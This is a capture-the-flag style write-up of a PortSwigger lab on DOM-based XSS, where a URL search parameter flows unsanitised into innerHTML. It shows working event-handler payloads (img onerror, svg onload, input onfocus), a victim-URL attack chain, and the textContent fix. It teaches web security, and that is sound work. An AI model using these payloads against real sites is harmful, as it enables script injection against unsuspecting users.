Skip to content

DOM-Based XSS — innerHTML Sink

Field Value
Platform PortSwigger Web Security Academy
Vulnerability DOM-Based Cross-Site Scripting (XSS)
Difficulty Apprentice
Source location.search via URLSearchParams
Sink innerHTML
Goal Execute JavaScript via an event handler payload

What is innerHTML?

innerHTML is a JavaScript property that gets or sets the raw HTML content inside a DOM element. Unlike textContent — which treats everything as plain text — innerHTML interprets and renders HTML tags:

element.textContent = '<b>bold</b>';   // displays literally: <b>bold</b>
element.innerHTML  = '<b>bold</b>';    // displays: bold (rendered as bold text)

This makes innerHTML dangerous when used with untrusted input. If an attacker controls what string gets assigned to innerHTML, they control what HTML — and therefore what JavaScript — gets injected into the page.


Phase 1 — Reconnaissance

Searching for test puts the value in the URL:

/?search=test
Screenshot

Inspecting the page source in DevTools reveals the vulnerable JavaScript:

function doSearchQuery(query) {
    document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    doSearchQuery(query);
}
Screenshot

The script reads the search parameter from the URL using URLSearchParams, then assigns it directly to innerHTML of a div. No sanitization happens anywhere. The source is location.search and the sink is innerHTML.


Phase 2 — Confirming HTML Injection

<marquee>"TETO"</marquee>
Screenshot

The text scrolled — HTML is being rendered via innerHTML, not escaped.


Phase 3 — Attempting Script Tag (Expected Failure)

<script>alert("hola")</script>
Screenshot

No alert. This is expected — the HTML spec explicitly states that <script> tags injected via innerHTML are not executed. This is an intentional browser security decision: dynamically inserted <script> elements through innerHTML are treated as inert. The tag appears in the DOM but the browser refuses to run it.

// Does NOT execute
element.innerHTML = '<script>alert(1)</script>';

// DOES execute — event handlers on HTML elements fire regardless of insertion method
element.innerHTML = '<img src=0 onerror=alert(1)>';

Phase 4 — Event Handler Payload via img

Confirming that innerHTML actually tries to load resources:

<img src=test.png>
Screenshot

The browser attempted to fetch test.png — confirming innerHTML is rendering tags and triggering browser behavior. Providing a deliberately invalid src to trigger the onerror event handler:

<img src=0 onerror=alert(0)>
Screenshot

Alert fired. Lab solved.


How the Full Attack Chain Works

1. Attacker crafts URL:
   ?search=<img src=0 onerror=alert(0)>

2. Victim visits the URL

3. Browser loads the page — server returns a normal HTML response
   (the payload is in the URL, not the server response)

4. JavaScript runs:
   var query = new URLSearchParams(window.location.search).get('search');
   → query = "<img src=0 onerror=alert(0)>"

5. JavaScript assigns to innerHTML:
   document.getElementById('searchMessage').innerHTML = query;
   → browser parses and renders the img tag

6. Browser tries to load src="0" — fails
   → onerror fires → alert(0) executes

The server never saw anything suspicious. The vulnerability is 100% in client-side JavaScript.


Conclusion

  1. DevTools revealed the vulnerable JS: URLSearchParams reading location.search and passing it directly to innerHTML — source and sink confirmed.
  2. <marquee> rendered — HTML injection via innerHTML confirmed.
  3. <script>alert("hola")</script> produced no alert — <script> tags inserted via innerHTML are intentionally inert per the HTML spec.
  4. <img src=test.png> confirmed the browser was processing the injected HTML; <img src=0 onerror=alert(0)> fired the onerror event and executed JavaScript.

Key Concepts

innerHTML with untrusted input is a DOM XSS sink — any data flowing from location.search, document.cookie, or other attacker-controlled sources into innerHTML creates a vulnerability.

<script> tags via innerHTML do not execute — this is intentional browser behavior defined in the HTML spec. Use event handler payloads instead. Any HTML element that fires a JavaScript event works:

<img src=0 onerror=alert(1)>           <!-- fires when image fails to load -->
<svg onload=alert(1)>                   <!-- fires when SVG loads -->
<input autofocus onfocus=alert(1)>      <!-- fires when input receives focus -->

The onerror technique works because event handlers are not subject to the <script> restriction — the browser processes HTML attributes including event handlers regardless of how the element was inserted into the DOM.

The safe fix is textContent instead of innerHTML when HTML rendering is not needed:

// Vulnerable
element.innerHTML = userInput;

// Safe
element.textContent = userInput;

textContent always treats input as plain text — tags are never interpreted regardless of content.